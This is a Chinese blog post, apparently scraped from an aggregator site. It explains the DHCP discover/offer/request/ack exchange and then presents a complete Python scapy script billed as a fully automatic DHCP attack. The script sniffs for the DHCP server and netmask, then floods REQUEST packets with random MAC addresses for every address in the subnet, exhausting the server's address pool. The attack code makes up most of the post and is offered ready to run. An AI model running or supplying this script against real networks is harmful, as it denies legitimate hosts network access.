2. 程式人生 > >PYTHON程式設計之基於scapy的DHCP全自動攻擊指令碼

PYTHON程式設計之基於scapy的DHCP全自動攻擊指令碼

阿新 • • 發佈：2018-11-20

DHCP服務

當一個組織分配到一個網路地址塊後們就可以為該組織內的主機繼而路由器介面分配IP地址了。這個工作可以由網路管理員手動分配，也可以通過動態主機配置協議，也就是我們這裡所講的DHCP協議來動態的為主機分配地址。事實上很多的實際網路都是通過DHCP來實現地址分配的。
DHCP在應用層實現，傳輸層使用的時UDP，提供動態IP地址分配網路的，需要執行DHCP伺服器（埠號67）並且需要配置可以為其他主機分配地址的地址範圍。

DHCP服務發現

當一臺網路主機接入或者新啟動時，新到達主機的主要目的就是進行DHCP客戶，併發送DHCP發現報文（DHCP discover）,以便發現DHCP伺服器。主機使用UDP67埠傳送DHCP 發現報文，UDP報文段進一步封裝到IP資料報中。顯然，此時主機並不知道DHCP的伺服器的IP地址。自己也沒有分配到IP地址。所有主機會在IP資料包的目的IP地址欄位中填入“255.255.255.255”，表明這是一次廣播。在源地址欄位中填入：“0.0.0.0”.將IP資料包封裝完畢後，交付給下一層資料鏈路層，資料鏈路層會負責將資料幀廣播到與該主機相連的子網內的所有主機與路由器的介面。

DHCP伺服器提供

當某臺伺服器或路由器在埠67上提供DHCP服務，並且接受到一個DHCP發現報文後，會發送一個DHCP提供包（DHCP Offer）,來響應主機。由於新接入到網路的主機此時仍不具有可用的IP地址，因此DHCP提供報文仍然會通過廣播的方式傳送出去。DHCP提供報文中包含了DHCP伺服器為新加入網路的主機分配的IP地址。用於標識一次DHCP過程的識別符號、子網掩碼、預設閘道器和本地域名伺服器IP地址以及IP地址的租期等資訊。

DHCP請求

當新加入網路的主機收到了一個或是多個DHCP伺服器的DHCP提供報文後，選擇其中一個傳送傳送DHCP請求報文。需要注意的是，此時仍時利用廣播的方式來發送DHCP Request 報文。因為網路中可能存在多個DHCP伺服器。當多個DHCP伺服器都對網路中的主機做出響應時，這臺主機需要從中選一個，而對於未被選中的DHCP伺服器，該主機也需要將它們為其分配的IP地址未被使用的訊息廣播出去。

DHCP確認

當被選定的DHCP伺服器以DHCP確認（DHCP ACK）來對DHCP請求報文進行響應。當客戶主機收到DHCP ack 報文後正式使用該伺服器為其分配的IP地址。這個時候客戶機才真正的拿到了可用的IP地址，同時DHCP伺服器也真正的分配出了一個IP地址。
不過值得注意的是，他在這裡不僅僅只是分配出一個IP地址。其中還有當前網路的子網掩碼、預設閘道器、本地域名伺服器等重要資訊。

PYTHON-SCAPY

scapy模組可以模擬各種資料包的傳送。
一般來說KALI-LINUX是自帶的。如果是linux系統中， 且沒有scapy
則執行以下命令安裝：

		sudo pip install scapy

想要深入學習的小夥伴也可以來我的資源下載scapy的學習資料。

https://download.csdn.net/download/qq_27180763/10768001

這個是全英文版的。手頭暫時沒有中文版的資料==一般都靠百度了。

軟體執行介面：

SCAPY

在python中，我們可以直接使用以下命令包含scapy庫

from scapy.all import *

PYTHON實現自動化攻擊指令碼

一共包含的模組：
from scapy.all import *
from time import ctime,sleep
from threading import Thread,Lock
import IPy

這裡有一點要注意的是，千萬不能同時寫from scapy.all import *和from IPy import IP。由於scapy中有一個IP（）,而IPy中也有一個IP（），導致函式命名重複，會產生一個重定義的錯誤。
其中第一個模組的作用主要是傳送資料包。第二個模組是為多執行緒準備的，多執行緒的主要任務就是當一個執行緒傳送DHCP資料包後，另一個執行緒能夠監聽DHCP伺服器返回的Offer資訊，以此來確定DHCP伺服器的IP地址，以便於第二次能夠傳送DHCP REQUEST報文。

全域性變數
flag = 0
dhcp_address = '0.0.0.0'
current_subnet = '0.0.0.0'

由於開了兩個執行緒，一個處於不斷髮送DHCP發現報文，另一個不斷處於監聽狀態。而我這裡主要的目的是為了確定DHCP伺服器的IP地址。所以當我收到DHCP給我回復的DHCP報文（UDP）時，就可以結束髮送DISCOVER包了，同時就可以停止監聽，這裡flag主要還是起到一個標誌位的作用。
後面兩個變數分別就是dhcp伺服器的地址和當前子網掩碼。

獲取DHCP伺服器地址：
def getdhcpip():
    global flag
    print "[+] Geting The DHCP server IP Address!"
    while flag == 0:
        tap_interface = 'eth0'
        src_mac_address = RandMAC()
        ethernet = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = src_mac_address,type=0x800)
        ip = IP(src ='0.0.0.0',dst='255.255.255.255')
        udp =UDP (sport=68,dport=67)
        fam,hw = get_if_raw_hwaddr(tap_interface)
        bootp = BOOTP(chaddr = hw, ciaddr = '0.0.0.0',xid =  0x01020304,flags= 1)
        dhcp = DHCP(options=[("message-type","discover"),"end"])
        packet = ethernet / ip / udp / bootp / dhcp
        sendp(packet,count=1,verbose=0)
        sleep(0.1)

在Python中，函式內部使用全域性變數需要使用global識別符號來宣告呼叫全域性函式。否則程式會報錯：“NOT DEFINE”
而我這裡構造的資料包完全就是根據DHCP discover包來構造的。

監聽DHCP（UDP）報文
def matchpacket():
    global flag
    global dhcp_address
    global current_subnet
    while flag == 0:
        try:
            a = sniff(filter='udp and dst 255.255.255.255',iface='eth0',count=2)
            current_subnet = a[1][1][3].options[1][1]
            dhcp_address = a[1][1][0].src
            if dhcp_address is not '0.0.0.0' and current_subnet is not '0.0.0.0':
                flag = 1
                print "[+] The DHCP SERVER IP ADDRESS IS "+dhcp_address + "\r\n"
                print "[+] CURRENT NETMASK IS " + current_subnet+"\r\n"

        except:
            pass
        time.sleep(0.1)

這裡需要注意的是：DHCP在應用層實現，傳輸層使用的時UDP.所以我這裡直接使用sniff函式來抓取UDP報文。

為了多執行緒做準備，我在下面還定義了一個全域性的函式列表

func = [getdhcpip,matchpacket]

主函式使用Thread來呼叫

呼叫程式碼：

threads= []
    for i in range(0,len(func)):   
        t1 = Thread(target=func[i])
        threads.append(t1)
    for t in threads:
        t.setDaemon(True)
        t.start()
    for t in threads:
        t.join()
攻擊程式碼：
def dhcp_attack():
    global dhcp_address
    address_info = IPy.IP(dhcp_address).make_net(current_subnet).strNormal() 
    address = address_info.split('/')[0]
    address = address.replace('.0','')
    netmask = address_info.split('/')[1]
    max_sub_number = 2**(32-int(netmask))-2
    bin_ip = address_info.split('/')[0].split('.')
    
    ip_info=''
    for i in range(0,4):
        string = str(bin(int(bin_ip[i]))).replace('0b','')
        if(len(string)!=8):
            for i in range(0,8-len(string)):
                string = "0"+string
        ip_info = ip_info + str(string)

    for i in range(1,max_sub_number+1):
        ip = str(bin(int(ip_info,2) + i))[2:]
        need_address = str(int(ip[0:8],2))+'.'+str(int(ip[8:16],2))+'.'+str(int(ip[16:24],2))+'.'+str(int(ip[24:32],2))
        rand_mac_address = RandMAC()
        dhcp_attack_packet = Ether(src=rand_mac_address,dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=rand_mac_address)/DHCP(options=[("message-type",'request'),("server_id",dhcp_address),("requested_addr",need_address),"end"])
        sendp(dhcp_attack_packet,verbose=0)
        print "[+] USE IP: "+need_address +" Attacking "+dhcp_address +" Now!"

這是最為複雜的一段。讓我有一種寫C語言的感覺==
其中IPy.IP(dhcp_address).make_net(current_subnet).strNormal() 的作用就是返回一個“IP地址/子網”的東西。而2**(32-子網)的目的就是計算當前的最大主機數。通過二進位制求和的方式遍歷所有子網中的主機。其中PYTHON並沒有二進位制的加法運算，所以只能通過十進位制相加轉二進位制然後再轉換成點分十進位制的形式。保證了IP地址為32位。

完整程式碼：

#!/usr/bin/env python

from scapy.all import *
from time import ctime,sleep
from threading import Thread,Lock
import IPy

flag = 0
dhcp_address = '0.0.0.0'
current_subnet = '0.0.0.0'

def getdhcpip():
    global flag
    print "[+] Geting The DHCP server IP Address!"
    while flag == 0:
        tap_interface = 'eth0'
        src_mac_address = RandMAC()
        ethernet = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = src_mac_address,type=0x800)
        ip = IP(src ='0.0.0.0',dst='255.255.255.255')
        udp =UDP (sport=68,dport=67)
        fam,hw = get_if_raw_hwaddr(tap_interface)
        bootp = BOOTP(chaddr = hw, ciaddr = '0.0.0.0',xid =  0x01020304,flags= 1)
        dhcp = DHCP(options=[("message-type","discover"),"end"])
        packet = ethernet / ip / udp / bootp / dhcp
        sendp(packet,count=1,verbose=0)
        sleep(0.1)

def matchpacket():
    global flag
    global dhcp_address
    global current_subnet
    while flag == 0:
        try:
            a = sniff(filter='udp and dst 255.255.255.255',iface='eth0',count=2)
            current_subnet = a[1][1][3].options[1][1]
            dhcp_address = a[1][1][0].src
            if dhcp_address is not '0.0.0.0' and current_subnet is not '0.0.0.0':
                flag = 1
                print "[+] The DHCP SERVER IP ADDRESS IS "+dhcp_address + "\r\n"
                print "[+] CURRENT NETMASK IS " + current_subnet+"\r\n"

        except:
            pass
        time.sleep(0.1)

func = [getdhcpip,matchpacket]

def dhcp_attack():
    global dhcp_address
    address_info = IPy.IP(dhcp_address).make_net(current_subnet).strNormal() 
    address = address_info.split('/')[0]
    address = address.replace('.0','')
    netmask = address_info.split('/')[1]
    max_sub_number = 2**(32-int(netmask))-2
    bin_ip = address_info.split('/')[0].split('.')
    
    ip_info=''
    for i in range(0,4):
        string = str(bin(int(bin_ip[i]))).replace('0b','')
        if(len(string)!=8):
            for i in range(0,8-len(string)):
                string = "0"+string
        ip_info = ip_info + str(string)

    for i in range(1,max_sub_number+1):
        ip = str(bin(int(ip_info,2) + i))[2:]
        need_address = str(int(ip[0:8],2))+'.'+str(int(ip[8:16],2))+'.'+str(int(ip[16:24],2))+'.'+str(int(ip[24:32],2))
        rand_mac_address = RandMAC()
        dhcp_attack_packet = Ether(src=rand_mac_address,dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=rand_mac_address)/DHCP(options=[("message-type",'request'),("server_id",dhcp_address),("requested_addr",need_address),"end"])
        sendp(dhcp_attack_packet,verbose=0)
        print "[+] USE IP: "+need_address +" Attacking "+dhcp_address +" Now!"
		
def main():
    threads= []
    for i in range(0,len(func)):   
        t1 = Thread(target=func[i])
        threads.append(t1)
    for t in threads:
        t.setDaemon(True)
        t.start()
    for t in threads:
        t.join()
    dhcp_attack()
    
if __name__ == '__main__':
    main()
    print "[+] Attack Over!"

實驗效果：

在這裡插入圖片描述

在這裡插入圖片描述

在這裡插入圖片描述

相關推薦

PYTHON程式設計之基於scapy的DHCP全自動攻擊指令碼

DHCP服務 當一個組織分配到一個網路地址塊後們就可以為該組織內的主機繼而路由器介面分配IP地址了。這個工作可以由網路管理員手動分配，也可以通過動態主機配置協議，也就是我們這裡所講的DHCP協議來動態的為主機分配地址。事實上很多的實際網路都是通過DHCP來實現地址分配的。 DHCP在

TCP/IP網路程式設計之基於TCP的服務端/客戶端

理解TCP和UDP 根據資料傳輸方式的不同，基於網路協議的套接字一般分為TCP套接字和UDP套接字。因為TCP套接字是面向連線的，因此又稱為基於流（stream）的套接字。TCP是Transmission Control Protocol（傳輸控制協議）的簡寫，意為“對資料傳

Python程式設計之路 ---- 練習3

1.寫函式，修改指定檔案中的內容，使用者傳入修改的檔名，與要修改的內容，執行函式，完成批了修改操作 def batch_edit(filename,old_contcnt,new_content):

Python程式設計之md5加密和sha1加密

Python程式設計之訊息加密 在python中進行訊息的加密，下面是md5加密方法和sha1加密方法： import hashlib def my_md5(value): m = hash

Python程式設計之GUI--wxPython模組

    在Python中有很多GUI工具包或者構建器：tkinter,wxPython,PyQt,PythonCard,Dabo等，其中，tkinter是Python自帶的一個輕量級工具包，使用它可以輕易地實現基本的介面。但是，在跨平臺方面不如wxPython。 一、wxP

Shell指令碼程式設計之（一）Shell指令碼簡介

什麼是Shell指令碼 shell script 是利用 shell 的功能所寫的一個『程式 (program)』，這個程式是使用純文字檔案，將一些 shell 的語法與指令(含外部指令)寫在裡面， 搭配正則表示式、管線命令與資料流重導向等功能，以達到我們所想要的處理目的 s

09、高階程式設計之基於排序機制的wordcount程式

    val sortedWordCounts = sortedCountWords.map(sortedCountWord => (sortedCountWord._2, sortedCountWord._1))

趣味python程式設計之經典俄羅斯方塊

國慶期間閒不住，用python把經典俄羅斯方塊實現了一遍，找到了些兒時的樂趣。因此突發奇想，正統程式設計之餘也給自己找點兒樂趣，換個角度寫程式。 原計劃是寫篇完整的博文對程式演算法和函式模組做個說明，但是在整理程式的時候發現自己給程式加的註釋已經相當詳細，程式以外的文字顯得很多餘。正所謂大道至簡，直接將程式程

Python書籍推薦：《Python程式設計之美：最佳實踐指南》

        《Python程式設計之美：最佳實踐指南》的作者之一就是大名鼎鼎的K神，Kenneth Reitz，也就是requests庫的作者。在這裡必須誇一下requests庫，真是太好用了，能用requests絕不用urllib、urllib2。K神出品，必屬精品！！

Python程式設計之numpy庫函式in1d的使用

         最近利用Python作數值分析時使用到numpy庫下的in1d函式。in1d函式與excel中vlookup函式和MATLAB中ismember函式有相似之處。其作用在於在序列B中尋

C# 網路程式設計之基於SMTP傳送電子郵件

        本文主要講述基於C#網路程式設計的傳送郵件的程式設計,郵件傳送功能是基於郵件協議的,常見的電子郵件協議有SMTP(簡單郵件傳輸協議)、POP3(郵局協議)、IMAP(Internet郵件訪問協議),文章主要參考周存傑的《C#網路程式設計例項教程》.這也是最後

薦書|Python程式設計之美：最佳實踐指南

被眾多實踐驗證過的技巧、經驗大全Python安裝、配置和使用的最佳實踐手冊Python 是一個大

最新版 17 幅思維導圖：Python 程式設計之核心知識體系

導讀： 本文主要涵蓋了 Python 程式設計的核心知識，展示了一系列思維導圖，主

深入淺出VC++串列埠程式設計之基於控制元件

1.MSComm控制元件　　Visual C++為我們提供了一種好用的ActiveX控制元件Microsoft Communications Control(即MSComm)來支援應用程式對串列埠的訪問，在應用程式中插入MSComm控制元件後就可以較為方便地實現對通

python程式設計之判斷一字串是不是對稱的，如：abcddcba

def is_symmetrical(str): length = len(str) for i in range(length/2): if str[i] != st

網路安全之基於流量的攻擊型別

DoS 拒絕服務DDoS 分散式拒絕服務DRDoS 分散式反射拒絕服務:公網上有很多公共的服務如redis、mongodb、memcache、NTP、UPnP等，攻擊者對這些服務傳送偽造的請求。如：Hi memcache，請把快取的資料發給我。我的IP是受害者。 這種攻擊叫

網路程式設計之基於nio的Netty框架Demo

36套java進階高階架構師視訊+38套大資料視訊  保證全是硬貨需要的+微信:du13797566440首選引入netty jar包/** * @author dlj2018年1月2日 * netty服務端，實現非同步非阻塞處理訊息 */public class Serve

Python語言程式設計-學習筆記2：Python程式設計之基本方法

第一週：Python程式設計之基本方法 1.1 課程內容和安排介紹 入門課； 十週； 課程內容： 基本設計方法；1-2 語法；3-6 高階；7-8 有趣的程式設計；9-10 1.2 從計算機到程式設計語言 1.計算機： 計算機：根據指令操作資料；     功能性；

Python程式設計之安裝

安裝Python 閱讀: 576729 因為Python是跨平臺的，它可以執行在Windows、Mac和各種Linux/Unix系統上。在Windows上寫Python程式，放到Linux上也是能夠執行的。 要開始學習Python程式設計，首先就得把Pyt

python程式設計之GUI的選擇

儘管內容可能有些老，但是沒有關係，對於想深入Python開發的工作者，在選擇GUI開發包，乃至視覺化IDE方面都還有相當的借鑑意義。 Python最大的特點就在於她的快速開發功能。作為一種膠水型語言，python幾乎可以滲透在我們程式設計過程中的各個領域。這裡我簡單介紹一下